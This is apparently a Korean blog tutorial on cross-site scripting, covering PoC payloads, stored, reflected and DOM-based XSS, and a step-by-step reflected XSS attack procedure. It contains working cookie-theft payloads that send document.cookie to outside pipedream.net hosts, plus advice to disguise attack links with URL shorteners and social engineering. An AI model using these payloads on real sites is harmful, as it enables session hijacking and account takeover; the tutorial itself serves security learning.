What is XSS?

심야·2023년 7월 14일
0

XSS (Cross Site Scripting)

Server Side

서버에서 실행되는 코드

ASP, PHP, JSP

Client Side

클라이언트 즉, 웹 브라우저 측에서 실행되는 코드

HTML, CSS, Javascript

What is XSS?

클라이언트 측에 임의의 코드(HTML, Javascript)를 삽입하는 공격으로 클라이언트(피해자) 브라우저에서 실행된다. 하지만 서버에는 전혀 영향이 없다.

POC

<script>alert()</script>

alert(), confirm(), prompt(), location.href 등을 사용해 사용자를 피싱 사이트에 리다이렉트 하거나 사용자 쿠키 (세션ID)를 탈취한다.

  • POC Example
    1. alert(’xss’)
    2. confirm(’xss’)
    3. prompt(’xss’)
  • 페이지 이동 코드
    1. location.href = “site name";
    2. location.replace = “site name”;

공격 예시

<script>
	var cookie = document.cookie;
	var img = new Image(); // img tag 생성 함수
	img.src = "https://enollpouxq0qr.x.pipedream.net?cookie=" + cookie;
</script>

쿠키는 세션 ID를 갖고 있다. XSS가 실행되는 코드를 실행하는 순간 해커의 서버에 사용자 쿠키를 전송한다. 따라서 해커는 피해자의 세션을 탈취해 로그인 할 수 있다.

Event Handler

브라우저에서 특정 이벤트 (onerror, onclick, onsubmit 등)가 발생하면 실행하는 자바스크립트 함수

<img src=x onerror=alert('xss')/> 
// 이미지를 서버에서 가져오는데 실패해 onerror 이벤트, alert('xss') 실행
<img src="error.png" onerror="location.href='https://eodhhttu9beaqkb.m.pipedream.net?cookie='+document.cookie">

공격 방법

  1. Stored XSS
    • 서버에 스크립트를 저장하는 방법
    • 게시판과 같은 글쓰기 페이지에서 공격 스크립트를 작성해 서버에 삽입한다. 서버에 접속하는 모든 대상에게 공격할 수 있다.
    • 특정 대상에게만 공격할 수는 없다.
    • 서버에 기록, 흔적이 남는다.
  2. Reflected XSS
    • 서버에 스크립트를 저장하지 않는 방법
    • 검색 기능, 아이디 중복 검사 기능과 같이 입력한 데이터를 사용자 브라우저에 반사할 때 사용 가능하다.
    • 모든 페이지와 파라미터에서 취약점이 존재할 가능성이 있다.
    • 공격 방법
      1. 입력한 데이터가 브라우저에서 출력되는지 확인한다. 예를 들어 ‘xss’ 입력했는데 alert(’xss’)이 발생해도 브라우저에서 출력되는 것이므로 Reflected xss 취약점이 발생할 가능성이 있다.
      2. 특수문자 <, ", ', > 가 필터링 되는지 확인한다.
      3. 만약 POST를 사용한다면 GET Method로도 브라우저에 출력되는지 확인한다.
      4. HTML 태그 밖에서 데이터가 출력된다면 HTML 태그 또는 스크립트 태그를 생성해 해당 태그 내에서 데이터가 출력되는지 확인한다.
      5. alert() 같이 스크립트 태그 내에서 출력되고 있다면 바로 POC 코드를 작성할 수 있다.
      6. 스크립트를 하나씩 추가해 공격이 작동하는지 확인한다.
      7. POC 코드가 동작하면 링크를 short URL로 변경해 피해자에게 링크를 클릭하라고 전달 또는 게시판에 링크를 삽입해 클릭을 유도
      8. 링크로 전달 해야 해 GET 방식과 사회공학기법이 필요하다!
  3. DOM based XSS
    • 악의적인 스크립트가 포함 된 URL을 사용자가 요청하게 되어 브라우저가 스크립트를 해석하는 단계에 발생하는 공격이다. 악의적인 스크립트로 인해서 클라이언트 측 코드가 원래 의도와는 다르게 실행된다. DOM based XSS 공격은 다른 XSS 공격과는 다르게 서버 측에서 탐지가 어렵다.
    • 입력한 데이터가 브라우저에 어떻게 출력되는지 HTML 과 javascript 코드를 주의깊게 살펴 보아야한다.
    • javascript DOM Object 생성 코드가 있는지 주의깊게 살펴 보아야한다.
profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글